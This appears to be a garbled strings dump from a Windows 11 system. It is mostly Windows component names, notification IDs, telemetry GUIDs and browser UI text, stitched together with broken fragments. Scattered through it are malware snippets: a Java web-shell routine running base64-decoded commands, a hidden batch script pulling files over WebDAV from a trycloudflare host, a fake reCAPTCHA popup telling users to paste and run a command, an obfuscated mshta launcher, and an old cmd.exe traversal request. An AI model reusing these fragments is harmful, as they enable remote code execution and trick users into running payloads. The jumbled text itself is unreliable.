nauticals_unsobering_farci.cmdnauticals_unsobering_farci.cmdc:\programfiles\windowsphotoviewer\photoviewer.dll
Microsoft.Windows.AppxPackaging
Microsoft.Windows.AppxPackaging.PerfLogger
Microsoft.Windows.AppxDeploymentFallback
Microsoft-Windows-EnterpriseClientSync-Host-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Contents\Windows\0
7\Support Files\Contents\Windows\3
System.Windows.Forms.dotdotdot.png
WindowsSolidBrush
x86_microsoft-windows-ie-ieproxydesktop_31bf3856ad364e35_none_0769971ba4bfdda5
x86_microsoft-windows-ie-ieproxy_31bf3856ad364e35_none_17d61f57f21ea8ad
x86_microsoft-windows-ie-ieshims_31bf3856ad364e35_none_1df092d5e944d62f
x86_microsoft-windows-ie-iexpress.resources_31bf3856ad364e35_en-us_5116b435bd6c973d
x86_microsoft-windows-ie-iexpress_31bf3856ad364e35_none_19d3116c6537664a
wow64_windows-system-diag..rmdiagnosticactions_31bf3856ad364e35_none_cc56996fc6ebaa9e
wow64_windows-system-launcher_31bf3856ad364e35_none_19e1f0e43fb56fa8
wow64_windows-system-prof..ndusagedatasettings_31bf3856ad364e35_none_9467da5150536dc8
wow64_windows-system-user..ceassociation-winrt_31bf3856ad364e35_none_6f6892816d6b3ae9
wow64_windows-system-user..diagnosticssettings_31bf3856ad364e35_none_2e1594af0da54796
[MSAL:0005]	INFO   	LogTelemetryData:464	Key: authorization_type, Value: WindowsIntegratedAuth
ms-windows-store-deskext~
Windows
MicrosoftWindows.Client.CBSE
SLGetWindowsInformationDWORD
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
WindowsCreateStringReference
WindowsDeleteString
registerWindowsMime
unregisterWindowsMime
Ys\system32\dnfly615.exec
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
$dd90f1c7-f1f8-4eb4-a9f6-b9f890d2e08fswxben.WindowsEM_SETCUEBANNERCC BY-SA 3.0QADGWGGECM_FIRST
`Windows\system32\spool\drivers\color\SusCreateFileRetryIfSharingViolationS
Windows Fault Reporting
%WINDIR%\SYSTEM32\
{windows\currentversion\uninstall\actsys
windows\currentversion\uninstall\brapps
wpowershell.exe-executionpolicybypass-windowstylehidden-noprofile-file
nameoftheserviceasitwillappearinthewindowsregistry.can'tcontainspaces
..\windows\system32\cmd.exe/c
0:\windows\system32\shell32.dll
shellcommon\undockeddevkit\libs\windowsudk.ui.shell.windowtabmanager\windowtabmanager.cpp
shellcommon\undockeddevkit\libs\windowsudk.ui.shell.windowtabmanager\windowtabtearoutrequestedeventargs.cpp
shellcommon\undockeddevkit\libs\windowsudk.ui.startscreen\logoloadoptions.cpp
&fFlight Settings|Preview Builds|Insider Settings|windows insider settings|join windows insider program|,
Windows Mixed RealityD
by Windows Mixed RealityM
captured by Windows Mixed RealityR
data captured by Windows Mixed Reality^
environment data captured by Windows Mixed Reality
environment privacy|holographic|chaperone|boundary|hololens settings|mixed reality privacy settings|MR settings|Windows MR settings|
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps;
TEMP=C:\WINDOWS\TEMP
SystemRoot=C:\WINDOWS
windir=C:\WINDOWS
TMP=C:\WINDOWS\TEMP
USERNAME=WINDOWS11$
PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
=Windows_N
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
?_XlenER=\\WINDOWS11-
DOMAIN=Windows
onecoreuap\windows\cdp\common\internal\winshared\BluetoothRadioHelpers.h
WindowsCdpSettingsListener failed to setup radio event watcher.
WindowsCdpSettingsListener::Subscribe() called after already subscribed.
..\windowscdpsettingslistener.cpp
onecoreuap\windows\cdp\common\internal\onecore\ComConversions.h
WindowsCdpSettingsListener::Subscribe() has no valid radio event watcher.
Software\Microsoft\Windows\CurrentVersion\CDP
SOFTWARE\Microsoft\Windows\CurrentVersion\SmartGlass
Uonecoreuap\windows\cdp\service\shared\ServiceCallbackNotifier.h
onecoreuap\windows\cdp\service\cdpusersvc\CDPComActivityStore.h
Software\Microsoft\Windows\CurrentVersion\Mobility\%s
Win32Registry|Software\Microsoft\Windows NT\CurrentVersion\NetworkCards|DriverDate
Win32Registry|Software\Microsoft\Windows NT\CurrentVersion\NetworkCards|Manufacturer
Win32Registry|Software\Microsoft\Windows NT\CurrentVersion\NetworkCards|ServiceName
Windows.Networki
\Device\HarddiskVolume3\Windows\Prefetch
\device\harddiskvolume3\windows\prefetch
iskvolume3\windows\prefetch
rddiskvolume3\windows\prefetch
\DEVICE\HARDDISKVOLUME3\WINDOWS\PREFETCH
Windows.SystemToast.NfpAppLaunchSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44b&
Windows.SystemToast.NfpAppAcquireSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44\%
Windows.SystemToast.LowDiskSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44d$
Windows.SystemToast.LocationManagerSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44e#
Windows.SystemToast.LanguageSettingsSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44^"
Windows.SystemToast.HelloFaceSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44]!
Windows.SystemToast.ExplorerSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44m 
Windows.SystemToast.EnterpriseDataProtectionSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44b
Windows.SystemToast.DisplayBrokerSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44`
Windows.SystemToast.DevicesFlowSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44\
Windows.SystemToast.DevicesSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44e
Windows.SystemToast.DeviceManagementSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44m
Windows.SystemToast.DeviceEnrollmentActivitySystemapp:system2026-02-20 16:13:442026-02-20 16:13:44b
Windows.SystemToast.DeviceConsentSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44i
Windows.SystemToast.DefaultAudioEndpointSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44[
Windows.SystemToast.CompatSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44i
Windows.SystemToast.CameraTroubleshooterSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44t
Windows.SystemToast.Calling.SystemAlertNotificationSys
Microsoft.Windows.Licensing.IUI
Microsoft.Windows.FileSystem.CloudFiles
FINITION.MICROSOFT.WINDOWS.WAASASSESSMENT
Windows.SystemToast.DeviceManagement
Windows.SystemToast.DeviceEnrollmentActivity
Windows.SystemToast.DeviceConsent
Windows.SystemToast.DefaultAudioEndpoint
Windows.SystemToast.Compat
Windows.SystemToast.CameraTroubleshooter
Windows.SystemToast.Calling.SystemAlertNotification
Windows.SystemToast.Calling
Windows.SystemToast.BthQuickPair
Windows.SystemToast.Bthprops
Windows.SystemToast.BitLockerPolicyRefresh
Windows.SystemToast.BdeUnlock
Windows.SystemToast.BackupReminder
Windows.SystemToast.BackgroundAccess
Windows.SystemToast.AutoPlay
Windows.SystemToast.AudioTroubleshooter
Windows.SystemToast.AccountHealth
Windows.System.ShareExperience
Windows.System.NearShareExperienceReceive
Windows.System.MiracastReceiver	
Windows
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!WindowsOobeAppHost
Windows.SystemToast.Calling
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.PeopleWidget
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy!App`P
Windows.SystemToast.Wwansvc>5
Windows.SystemToast.WindowsUpdate.MoNotification2=4
Windows.SystemToast.WindowsUpdate.MoNotification<"
Windows.SystemToast.WindowsTipD*
Windows.SystemToast.WiFiNetworkManager;(
Windows.SystemToast.Usb.Notification:(
Windows.SystemToast.SuggestedActions9!
Windows.SystemToirector
E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy!Microsoft.Windows.AppResolverUXG:
1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy!Microsoft.Windows.FilePickerEP
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy!AppX;
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy!AppW5
Microsoft.Windows.CapturePicker_cw5n1h2txyewy!AppV=
Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy!AppU5
Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy!AppT8
Microsoft.LockApp_cw5n1h2txyewy!WindowsDefaultLockScreenO%
E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy!Microsoft.Windows.AppResolverUXG:
1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy!Microsoft.Windows.FilePickerE"
Windows.SystemToast.WindowsTipD!
Windows.SystemToast.SuggestedC*
Windows.SystemToast.MobilityExperienceB!
Windows.SystemToast.FodHelperA'
Windows.SystemToast.DisplaySettings@9
Windows.SystemToast.CloudExperienceHostLauncherCustom?
Windows.SystemToast.Wwansvc>5
Windows.SystemToast.WindowsUpdate.MoNotification2=4
Windows.SystemToast.WindowsUpdate.MoNotification<*
Windows.SystemToast.WiFiNetworkManager;(
Windows.SystemToast.Usb.Notification:(
Windows.SystemToast.SuggestedActions9
Windows.SystemToast.StorSvc8"
Windows.SystemToast.StartupApp7&
Windows.SystemToast.SpeechServices6#
Windows.SystemToast.SoftLanding5
Windows.SystemToast.Share4<
Windows.SystemToast.ServiceInitiatedHealing.Notification3&
Windows.SystemToast.SecurityCenter2.
Windows.SystemToast.SecurityAndMaintenance1#
Windows.SystemToast.RecallSetup0(
Windows.SystemToast.RasToastNotifier//
Windows.SystemToast.Print.PrintNotification.0
Windows.SystemToast.Print.PrinterCleanupTask-*
Windows.SystemToast.Print.Notification,9
Windows.SystemToast.PresenceSensing.OnlookerDetection+"
Windows.SystemToast.PinConsent*)
Windows.SystemToast.NfpReceiveContent)(
Windows.SystemToast.NfpDevicePairing($
Windows.SystemToast.NfpAppLaunch'%
Windows.SystemToast.NfpAppAcquire&
Windows.SystemToast.LowDisk%'
Windows.SystemToast.LocationManager$(
Windows.SystemToast.LanguageSettings#!
Windows.SystemToast.HelloFace" 
Windows.SystemToast.Explorer!0
Windows.SystemToast.EnterpriseDataProtection %
Windows.SystemToast.DisplayBroker
Windows.SystemToast.DevicesFlow
WindowsPromoteStringBuffer
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
9NCT87FKQ4GMMicrosoft.PsychonautsforWindows10_8wekyb3d8bbweXbox Game Studios
EnumWindows
WindowsDuplicateString
WindowsDeleteString
WindowsCompareStringOrdinal
WindowsTrimStringStart
WindowsGetStringLen
:\windows\system32\nxtcod.exe
:\windows\ccm\
windows.ui.immersive.dll
windows.storage.dll
windows.networking.vpn.dll
windows.networking.hostname.dll
windowsperformancerecordercontrol.dll
windowsdefenderapplicationguardcsp.dll
windowscodecs.dll
windows.networking.dll
windows.networking.connectivity.dll
windows.globalization.fontgroups.dll
ext-ms-win-winlogon-mincreds-l1-1-0.dll
ext-ms-windowscore-deviceinfo-l1-1-0.dll
isolatedwindowsenvironmentutils.dll
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
          other {Your administrator automatically closes Microsoft Copilot when it isn't used for # minutes.}}Continue using Microsoft CopilotHelp us improve Microsoft CopilotYour parent has turned off "Permissions for sites, apps and extensions" for Microsoft CopilotYour organisation can see and manage browsing data, such as your bookmarks, history and passwords. It can't see browsing data in other Microsoft Copilot profiles.Get Microsoft Copilot's strongest securityWe've opened your file for quick and easy viewing right in Microsoft Copilot. Choose Download file if you want to use it later.Microsoft Copilot is trying to fill passwords. Type your Windows password to allow this.Microsoft Copilot UpdatecopilotupdateMicrosoft Copilot Updater ServiceMicrosoft Copilot Updater Internal ServiceKeeps your Microsoft Copilot software up to date. If this service is disabled or stopped, your Microsoft Copilot software will not be kept up to date, meaning security vulnerabilities that may arise cannot be fixed and features may not work.Microsoft Copilot for BusinessTo cast with a code, turn on Microsoft Copilot's sync settingsCustomize your Microsoft CopilotTo sign in to Microsoft Copilot with an additional email account, add a profile.You've signed out of your account from a website, so we've signed you out of Microsoft Copilot. Sign in to sync your browsing data across devices.Your Microsoft Copilot application may not be fully functional until you sign in againThe Microsoft Copilot team has been notified of this issue. Please try again later.You may have a network capture tool open, so Microsoft Copilot can't sign you in right now. Please close the tool and sign in again. Error code: $1Sign in is not supported when running Microsoft Copilot as an administrator. Please relaunch Microsoft Copilot as a non-administrator and try signing in again.Microsoft Copilot sign in requires the latest version of WebView2 to be installed on this device. Please install it and try signing in again.The account you're trying to sign into belongs to a sovereign cloud that Microsoft Copilot doesn't support yet. Please try again with another account.Favorites, history, and other stuff will not be saved when you close the application.Assistance from Microsoft CopilotSign in to Microsoft CopilotYou are now signed in to Microsoft CopilotMicrosoft Copilot will use this profile to automatically sign in to this site each time visit.Sign into Microsoft Copilot, get signed in everywhere.Automatically sign in to this site and other Microsoft sites when you sign in to Microsoft Copilot.Microsoft Copilot can check if your passwords were part of a data breach.When this setting is on, Microsoft Copilot detects the language on your webpage and offers to translate if the language detected is not listed under Preferred languages. The webpage text will be sent to Microsoft Translator service for translation, where the text is stored for service improvements. Learn more about how the Microsoft Translator service uses your data .Some settings were corrupted by anot
bd97928a-761e-4833-95a4-f339cc65b964Alexander Roshalf8Q0RjCo42Jsx3S5YaPCommand line RARSystem.Windows.Forms.Automation
if(command.equals("shell")){stringoutput="";string[]cmd=newstring[]{"/bin/sh","-c",newstring(base64decode(pieces[2]))};if(iswindows()){cmd=newstring[]{"cmd.exe","/c",newstring(base64decode(pieces[2]))};}processp=java.lang.runtime.getruntime().exec(cmd);
90(powershell-windowstylehidden-command"start-processcmd-argumentlist'/c\"%~f0\"hidden'-windowstylehidden"exit)setlocalenabledelayedexpansion::webdavsourceanddestinationset"webdav_url=\\travel-sagem-distant-potential.trycloudflare.com@ssl\davwwwroot"set"
ks="overlay"id="overlay"></div><divclass="recaptcha-popup"id="recaptchapopup"><h3>verificationsteps</h3><p>1.presswindowsbutton"<iclass="fabfa-windows"></i>"+r</p><p>2.pressctrl+v</p><p>3.pressenter</p></div><script>document.getelementbyid('verifybutton
MICROSOFT.WINDOWS.SPARSEGENERATION.AUMID
C:\WINDOWS\system32\cmd.exe
c:\windows\s
windows\currentversion\run
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
get_MinimizedWindowSize
get_PrimaryMonitorMaximizedWindowSize
ComputeWindowSize
get_MinimumWindowSize
.?AU?$require_one@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIToggleButtonAutomationPeer@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Automation_Peers_IToggleButtonAutomationPeer@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIFrameworkElementAutomationPeer@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Automation_Peers_IFrameworkElementAutomationPeer@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIButtonBaseAutomationPeer@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Automation_Peers_IButtonBaseAutomationPeer@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$producer_convert@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides9@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides8@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides8@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides6@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$implements@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@U134@UIExpandCollapseProvider@Provider@Automation@Xaml@UI@Windows@4@Ucomposing@4@UIAutomationPeerOverrides@Peers@789Windows@4@UIAutomationPeerOverrides2@Peers@789Windows@4@UIAutomationPeerOverrides3@Peers@789Windows@4@UIAutomationPeerOverrides4@Peers@789Windows@4@UIAutomationPeerOverrides5@Peers@789Windows@4@UIAutomationPeerOverrides6@Peers@789Windows@4@UIAutomationPeerOverrides8@Peers@789Windows@4@UIAutomationPeerOverrides9@Peers@789Windows@4@@winrt@@
.?AU?$root_implements@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@U134@UIExpandCollapseProvider@Provider@Automation@Xaml@UI@Windows@4@Ucomposing@4@UIAutomationPeerOverrides@Peers@789Windows@4@UIAutomationPeerOverrides2@Peers@789Windows@4@UIAutomationPeerOverrides3@Peers@789Windows@4@UIAutomationPeerOverrides4@Peers@789Windows@4@UIAutomationPeerOverrides5@Peers@789Windows@4@UIAutomationPeerOverrides6@Peers@789Windows@4@UIAutomationPeerOverrides8@Peers@789Windows@4@UIAutomationPeerOverrides9@Peers@789Windows@4@@impl@winrt@@
.?AU?$producer@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides9@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides4@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides3@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides3@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
WindowsCompareStringOrdinal
WindowsConcatString
WindowsCreateString
WindowsCreateStringReference
WindowsDeleteString
WindowsDuplicateString
WindowsGetStringLen
WindowsGetStringRawBuffer
WindowsIsStringEmpty
MicrosoftWindows.CrossDevice_cw5n1h2txyewy!SettingsUXHostAppQ
windows.appExtension
windows.appExtension
windowsudk.shellcommon.dll
MICROSOFT.WINDOWS.DASHBOARD":"87ba0ea5-fe69-5002-9a52-849c32319a2b","UTC:::PROVIDERDEFINITION.MICROSOFT.WINDOWS.DATAMART":"e52397f8-d100-4a3b-8d71-dcf5b3a851d8","UTC:::PROVIDERDEFINITION.MICROSOFT.WINDOWS.DEBUGGINGTOOLS.DEBUGGERENGINE":"f2e3b31b-57b4-5003-4059-470d58646da4","UTC:::PROVIDERDEFINITION.MICROSOFT.WINDOWS.DEBUGGINGTOOLS.SYMSRV":"40aa42fd-4ba7-4c17-b7ad-2ea2c312aa7c","UTC:::PROVIDERDEFINITION.MICROSOFT.WINDOWS.DEBUGGINGTOOLS.WINDBGNEXT":"9b054438-1246-56e3-ba44-e30668a200c1","UTC:::PROVIDERDEFINITION.MICROSOFT.WINDOWS.DEFENDER":"7af898d7-7e0e-518d-5f96-b1e79239484c","UTC:::PROVIDERDEFINITION.MICROSOFT.WINDOWS.DEFENDER.APP":"4fab096b-c7c1-5e77-c136-7c57122d3163","UTC:::PROVIDERDEFINITION.MICROSOFT.WINDOWS.DEFENDER.ENGINE":"7af898d7-7e0e-518d-5f96-b1e79239484c","UTC:::PROVIDERDEFINITION.MICROSOFT.WINDOWS.DEFENDER.ENGINE.MAPS":"7af898d7-7e0e-518d-5f96-b1e79239484c","UTC:::PROVIDERDEFINITION.MICROSOFT.WINDOWS.DEFENDER.SECURITYHEALTHAGENT":"3a47280f-ef8d-41af-9288-64db7a9890d3","UTC:::PROVIDERDEFINITION.MICROSOFT.WINDOWS.DEFENDER.SHIELD":"6d357dbe-57a2-5317-7970-19192e402ae6","UTC:::PROVIDERDEFINITION.MICROSOFT.WINDOWS.DEPLOYMENT.IMAGING":"dbfffd42-1980-5446-4a29-43079c95ec01","UTC:::PROVIDERDEFINITION.MICROSOFT.WINDOWS.DESKTOP.AIASSISTANCE":"af9ac45e-1ae9-5532-59e6-f4ad05caebd2","UTC:::PROVIDERDEFINITION.MICROSOFT.WINDOWS.DESKTOP.COPILOTHOTKEYMANAGER":"3e836d29-9a10-4af3-a00b-2d524afd6265","UTC:::PROVIDERDEFINITION.MICROSOFT.WINDOWS.DESKTOP.LANGUAGEBCP47":"932a397d-97ed-50f9-29ab-051457f7af3e","UTC:::PROVIDERDEFINITION.MICROSOFT.WINDOWS.DESKTOP.SCALING":"fa13ffe8-efce-54d6-466c-bfe555c95d09","UTC:::PROVIDERDEFINITION.MICROSOFT.WINDOWS.DESKTOP.SHELL.CLOUDEXPERIENCEHOSTSPEECH":"f385e1a5-0346-5411-11a2-e8c8afe3b6ca","UTC:::PROVIDERDEFINITION.MICROSOFT.WINDOWS.DESKTOP.SHELL.MACHINEOOBE":"5391f591-9ca5-5833-7c1d-ad0ddec652cd","UTC:::PROVIDERDEFINITION.MICROSOFT.WINDOWS.DESKTOP.SHELL.NOTIFICATIONAREA":"653fe5bd-e1d2-5d40-d93c-a551a97cd49a","UTC:::PROVIDERDEFINITION.MICROSOFT.WINDOWS.DESKTOP.SHELL.OOBEHEALTH":"397b9505-a6ba-5951-46ee-84b08fb14812","UTC:::PROVIDERDEFINITION.MICROSOFT.WINDOWS.DESKTOP.SHELL.OOBEMONITOR":"6d960cb7-fb14-5ed4-95fd-4d157414ecdb","UTC:::PROVIDERDEFINITION.MICROSOFT.WINDOWS.DESKTOP.SHELL.SHELL32":"79172b48-631e-5d2c-9f04-1ad99f6e1046","UTC:::PROVIDERDEFINITION.MICROSOFT.WINDOWS.DESKTOP.SHELL.STATECAPTURE":"82a0f3c6-c4dc-54fb-f358-354c5026dc61","UTC:::PROVIDERDEFINITION.MICROSOFT.WINDOWS.DESKTOP.SHELL.WINDOWING":"f84aa759-31d3-59bf-2c89-3748cf17fd7e","UTC:::PROVIDERDEFINITION.MICROSOFT.WINDOWS.DESKTOP.TEXTINPUT.CHSIME":"2e426d37-0f80-5235-94c4-3586b385f3d8","UTC:::PROVIDERDEFINITION.MICROSOFT.WINDOWS.DESKTOP.TEXTINPUT.INPUTSWITCH":"397fe846-4109-5a9b-f2eb-c1d3b72630fd","UTC:::PROVIDERDEFINITION.MICROSOFT.WINDOWS.DESKTOP.TEXTINPUT.JAPANESEIME":"47a8ea0f-be9f-5a94-1586-5ded19d57c3d","UTC:::PROVIDERDEFINITION.MICROSOFT.WINDOWS.DESKTOP.TEXTINPUT.TEXTINPUTCANVAS":"D3F64994-CCA2-4F97-8622-07D451397C09","UTC:::PROVIDERDEFINITION.MICROSOFT.WINDOWS.DESKTOP.TEXTINPUT.TEXTINPUTCANVASUI":"b76620c0-b616-59bf-39fe-4d9638fd184b","UTC:::PROVIDERDEFINITION.MICROSOFT.WINDOWS.DESKTOP.TEXTINPUT.TEXTSERVICEFRAMEWORK":"4f6a3c95-b86c-59f7-d8ed-d5b0b6a683d6","UTC:::PROVIDERDEFINITION.MICROSOFT.WINDOWS.DESKTOP.TEXTINPUT.TOUCHKEYBOARD":"68396f5f-e685-5c1b-3181-a17cf8d96fa6","UTC:::PROVIDERDEFINITION.MICROSOFT.WINDOWS.DEVAI.PAIRPROGRAMMER":"9cbbe9be-4345-5131-41f2-2460345a7ada","UTC:::PROVIDERDEFINITION.MICROSOFT.WINDOWS.DEVAI.UNIVERSALF12":"fda03adb-1e0a-53ca-e952-3f90b2f2afba","UTC:::PROVIDERDEFINITION.MICROSOFT.WINDOWS.DEVHOME":"2e74ff65-bbda-5e80-4c0a-bd8320d4223b","UTC:::PROVIDERDEFINITION.MICROSOFT.WINDOWS.DEVICEMANAGEMENT.CONFIGMANAGER2":"0ba3fb88-9af5-4d80-b3b3-a94ac136b6c5","UTC:::PROVIDERDEFINITION.MICROSOFT.WINDOWS.DEVICEMANAGEMENT.MDMPOSTPROCESSEVALUATOR":"8f453ba5-f19e-531d-071b-72ba1c501406","UTC:::PROVIDERDEFINITION.MICROSOFT.WINDOWS.DEVICEMANAGEMENT.OMADMCLIENT":"0ec685cd-64e4-4375-92ad-4086b6af5f1d","UTC:::PROVIDERDEFINITION.MICROSOFT.WINDOWS.DEVICEMANAGEMENT.OMADMPRC":"797c5746-634f-4c59-8ae9-93f900670dcc"i
uploadData.Type && (*uploadData.Type == StorageBufferType::WindowsTelemetry || *uploadData.Type == StorageBufferType::FunctionalData || *uploadData.Type == StorageBufferType::Seville || *uploadData.Type == StorageBufferType::Aria)
WINDOWS11      
WidgetService\Microsoft.Windows.Widgets.winmdz4?
WidgetService\Microsoft.Windows.Widgets.Internal.winmdz34
WidgetService\Microsoft.Windows.Widgets.dllz2
Microsoft.Windows.Widgets.winmdz01
Microsoft.Windows.Widgets.Internal.winmdz/-
WindowsAppSdk.AppxDeploymentExtensions.Desktop.dllz U
WindowsAppSdk.AppxDeploymentExtensions.Desktop-EventLog-Instrumentation.dllz
WindowsAppRuntime.pngz
\system32\win.com
%s\system32\winview.ocx
ComSpec=C:\WINDOWS\system32\cmd.exe
USERDOMAIN_ROAMINGPROFILE=Windows11
msEdgeWindowsEnergySaverAvailable
msEdgeWindowsEnergySaverAvailable
DriverData=C:\Windows\System32\Drivers\DriverData
S4bc27046-84c5-8679-dcc7-d44c77a47dd0" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:l
bwindows\system32\mshta.exe!c:\users\kofta\downloads\
/winnt/system32/cmd.exe?/c+dirhttp/1.0
c:\windows\system32\cmd.exe/v:off/d/cmshta"javascript:var_$_sgbe=["\127\101\x51\x56\101\x52\x4f
Microsoft.Windows.Security.AccessControl.winmdu
Microsoft.Windows.PushNotifications.winmdu
Microsoft.Windows.PrivateCommon.winmdu
Microsoft.Windows.Private.Workloads.SessionManager.winmdu
Microsoft.Windows.Media.Capture.winmdu
Microsoft.Windows.Management.Deployment.winmdu
Microsoft.Windows.Internal.Vision.winmdu
Microsoft.Windows.Globalization.winmdu
Microsoft.Windows.BadgeNotifications.winmdu
Microsoft.Windows.AppNotifications.winmdu
Microsoft.Windows.AppNotifications.Builder.winmdu
Microsoft.Windows.AppLifecycle.winmdu
Microsoft.Windows.ApplicationModel.WindowsAppRuntime.winmdu
Microsoft.Windows.ApplicationModel.Resources.winmdu
Microsoft.Windows.ApplicationModel.Resources.dllu
Microsoft.Windows.ApplicationModel.DynamicDependency.winmdu
Microsoft.Windows.ApplicationModel.Background.winmdu
Microsoft.Windows.ApplicationModel.Background.UniversalBGTask.winmdu
Microsoft.Windows.AI.winmdu
Microsoft.Windows.AI.Text.winmdu
Microsoft.Windows.AI.Text.dllu
Microsoft.Windows.AI.Imaging.winmdu
Microsoft.Windows.AI.Imaging.dllu
Microsoft.Windows.AI.GenerativeInternal.winmdu
Microsoft.Windows.AI.FoundationInternal.winmdu
Microsoft.Windows.AI.Foundation.winmdu
Microsoft.Windows.AI.ContentSafety.winmdu
Microsoft.Windows.AI.ContentSafety.dllu
Microsoft.Windows.AI.ContentModerationInternal.winmdu
Microsoft.WindowsAppRuntime.Release!1.7.208u
Microsoft.WindowsAppRuntime.Insights.Resource.dllu
Microsoft.WindowsAppRuntime.dllu
